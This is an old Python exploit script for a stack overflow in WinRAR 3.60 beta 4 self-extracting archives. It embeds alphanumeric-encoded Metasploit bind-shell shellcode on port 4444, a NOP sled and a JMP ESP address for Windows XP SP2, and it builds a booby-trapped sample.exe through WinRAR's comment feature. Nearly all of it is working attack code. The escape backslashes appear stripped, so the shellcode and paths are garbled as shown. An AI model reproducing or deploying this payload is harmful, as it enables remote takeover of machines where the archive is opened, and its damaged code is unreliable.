"""
WinRAR - Stack Overflows in SelF - eXtracting Archives
======================================================

Tested Version(s)..: WinRAR 3.60 beta 4
Original Author.............: posidron
Shellcode Stuffing .........: muts

"""

import os, sys

winrar__ = 'C:WinRAR.exe'
sfxnfo__ = "comment.txt"
result__ = "sample.exe"

# win32_bind -  EXITFUNC=seh LPORT=4444 Size=709 Encoder=PexAlphaNum http://metasploit.com */

sc = "xebx03x59xebx05xe8xf8xffxffxffx4fx49x49x49x49x49"
sc +="x49x51x5ax56x54x58x36x33x30x56x58x34x41x30x42x36"
sc +="x48x48x30x42x33x30x42x43x56x58x32x42x44x42x48x34"
sc +="x41x32x41x44x30x41x44x54x42x44x51x42x30x41x44x41"
sc +="x56x58x34x5ax38x42x44x4ax4fx4dx4ex4fx4cx36x4bx4e"
sc +="x4dx34x4ax4ex49x4fx4fx4fx4fx4fx4fx4fx42x56x4bx58"
sc +="x4ex36x46x32x46x42x4bx58x45x44x4ex43x4bx58x4ex37"
sc +="x45x30x4ax47x41x50x4fx4ex4bx58x4fx54x4ax41x4bx48"
sc +="x4fx35x42x52x41x50x4bx4ex49x44x4bx48x46x53x4bx58"
sc +="x41x50x50x4ex41x43x42x4cx49x59x4ex4ax46x48x42x4c"
sc +="x46x57x47x30x41x4cx4cx4cx4dx30x41x50x44x4cx4bx4e"
sc +="x46x4fx4bx43x46x55x46x52x4ax52x45x47x45x4ex4bx48"
sc +="x4fx35x46x32x41x50x4bx4ex48x46x4bx48x4ex30x4bx54"
sc +="x4bx48x4fx55x4ex31x41x30x4bx4ex43x30x4ex42x4bx48"
sc +="x49x48x4ex56x46x42x4ex41x41x46x43x4cx41x33x4bx4d"
sc +="x46x36x4bx38x43x34x42x53x4bx48x42x54x4ex50x4bx48"
sc +="x42x37x4ex31x4dx4ax4bx48x42x44x4ax30x50x35x4ax36"
sc +="x50x38x50x44x50x30x4ex4ex42x35x4fx4fx48x4dx48x56"
sc +="x43x55x48x46x4ax46x43x33x44x53x4ax56x47x57x43x57"
sc +="x44x43x4fx45x46x45x4fx4fx42x4dx4ax36x4bx4cx4dx4e"
sc +="x4ex4fx4bx33x42x55x4fx4fx48x4dx4fx45x49x58x45x4e"
sc +="x48x46x41x58x4dx4ex4ax50x44x30x45x35x4cx56x44x50"
sc +="x4fx4fx42x4dx4ax46x49x4dx49x30x45x4fx4dx4ax47x45"
sc +="x4fx4fx48x4dx43x35x43x45x43x55x43x55x43x45x43x34"
sc +="x43x45x43x54x43x55x4fx4fx42x4dx48x36x4ax46x41x51"
sc +="x4ex35x48x56x43x45x49x38x41x4ex45x59x4ax56x46x4a"
sc +="x4cx51x42x57x47x4cx47x55x4fx4fx48x4dx4cx36x42x51"
sc +="x41x45x45x35x4fx4fx42x4dx4ax56x46x4ax4dx4ax50x32"
sc +="x49x4ex47x55x4fx4fx48x4dx43x55x45x55x4fx4fx42x4d"
sc +="x4ax36x45x4ex49x44x48x38x49x34x47x55x4fx4fx48x4d"
sc +="x42x55x46x55x46x45x45x55x4fx4fx42x4dx43x39x4ax46"
sc +="x47x4ex49x47x48x4cx49x37x47x55x4fx4fx48x4dx45x45"
sc +="x4fx4fx42x4dx48x36x4cx46x46x56x48x56x4ax36x43x36"
sc +="x4dx36x49x38x45x4ex4cx56x42x55x49x35x49x32x4ex4c"
sc +="x49x58x47x4ex4cx46x46x34x49x58x44x4ex41x33x42x4c"
sc +="x43x4fx4cx4ax50x4fx44x54x4dx32x50x4fx44x54x4ex32"
sc +="x43x59x4dx48x4cx37x4ax53x4bx4ax4bx4ax4bx4ax4ax46"
sc +="x44x47x50x4fx43x4bx48x31x4fx4fx45x57x46x44x4fx4f"
sc +="x48x4dx4bx55x47x45x44x55x41x55x41x45x41x45x4cx56"
sc +="x41x30x41x35x41x55x45x45x41x55x4fx4fx42x4dx4ax56"
sc +="x4dx4ax49x4dx45x50x50x4cx43x35x4fx4fx48x4dx4cx46"
sc +="x4fx4fx4fx4fx47x33x4fx4fx42x4dx4bx38x47x35x4ex4f"
sc +="x43x58x46x4cx46x56x4fx4fx48x4dx44x55x4fx4fx42x4d"
sc +="x4ax46x42x4fx4cx38x46x30x4fx45x43x55x4fx4fx48x4d"
sc +="x4fx4fx42x4dx5a"

buf = "Path=" + "x90" * (2035-len(sc)) +sc+ "x3cx15xdcx77" + "x90" * 8 + "xEBx30x90x90" + "rnSavePathrn" # JMP ESP XP SP2

try:
    info = open(sfxnfo__, "w+b")
    info.write(buf)
    info.close()
except IOError:
    sys.exit("Error: unable to create: " + sfxnfo__)

print "Creating archive:",
os.spawnv(os.P_WAIT, winrar__, [winrar__, "a -sfx -s " + result__ + " " + __file__])
os.spawnv(os.P_WAIT, winrar__, [winrar__, "c -z" + sfxnfo__ + " " + result__])
print "done."
print "Executing:",
# debug only!
#os.spawnv(os.P_WAIT, result__, [result__, ""])
#print "done."
print "Cleaning up:",
os.remove(sfxnfo__)
print "done."

# www.Syue.com [2006-07-05]